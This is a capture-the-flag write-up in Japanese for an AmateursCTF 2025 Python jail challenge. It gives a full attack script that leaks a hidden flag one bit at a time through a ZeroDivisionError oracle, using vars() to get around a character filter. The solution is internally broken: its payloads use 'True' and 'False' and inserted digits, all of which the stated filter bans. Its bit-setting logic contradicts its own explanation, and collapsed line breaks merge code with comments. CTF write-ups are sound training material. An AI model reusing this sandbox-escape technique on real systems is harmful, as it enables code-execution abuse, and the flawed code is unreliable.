AmateursCTF 2025 - Censorship Series
Challenge
フラグを1ビットずつ抽出する pyjail。
import re
code = input()
# 禁止: 数字、l, i, t, e, バックスラッシュif re.search(r'[0-9lite\\]', code): print("Censored!") exit()
exec(code)Solution
ZeroDivisionError による条件分岐
例外の有無で1ビットの情報を漏洩:
# flag[n] の m ビット目が 1 なら ZeroDivisionError# 0 なら正常終了a = ord(flag[pos]) >> bit_pos & 1result = 1 / a # a=0 なら ZeroDivisionError文字制限のバイパス
数字が使えないため、boolean 値と演算で数値を生成:
# True = 1, False = 0# (True + True) = 2pos = (True + True + True) # 3globals() でフラグにアクセス
# 'e' が禁止されているが、globals() は使える# ただし 'globals' に 'l' が含まれる...# vars() を代わりに使用vars() # globals() と同等完全な攻撃スクリプト
import requests
flag = ""for char_idx in range(50): char_val = 0 for bit_idx in range(7): # ペイロードを構築 payload = f"vars()['flag'][{char_idx}] >> {bit_idx} & True or True / False" try: r = requests.post(url, data={'code': payload}) if 'ZeroDivisionError' in r.text: char_val |= (1 << bit_idx) except: pass flag += chr(char_val) print(flag)Technical Details
Boolean ベースの blind 抽出
# ビット抽出(ord(char) >> n) & 1
# 条件分岐を例外に変換1 / ((ord(char) >> n) & 1)# ビットが 0 なら ZeroDivisionError# ビットが 1 なら正常 (1/1 = 1)文字列フォーマットによる数値生成
# '%d' % True = '1'# '%d' % False = '0'# さらに int() で数値化vars() vs globals()
# 両方とも現在の名前空間の辞書を返すvars() # 'l', 'i', 't', 'e' を含まないglobals() # 'l' を含む (禁止)Alternative Solutions
別解1: 応答時間による漏洩
# 条件により sleep を使用# タイミングで判定別解2: ファイル書き込み
# /tmp に結果を書き込み# 別のリクエストで読み取りFlag
amateursCTF{...}
References
- AmateursCTF 2025 Official
- https://hackmd.io/@yqroo/Censorship-series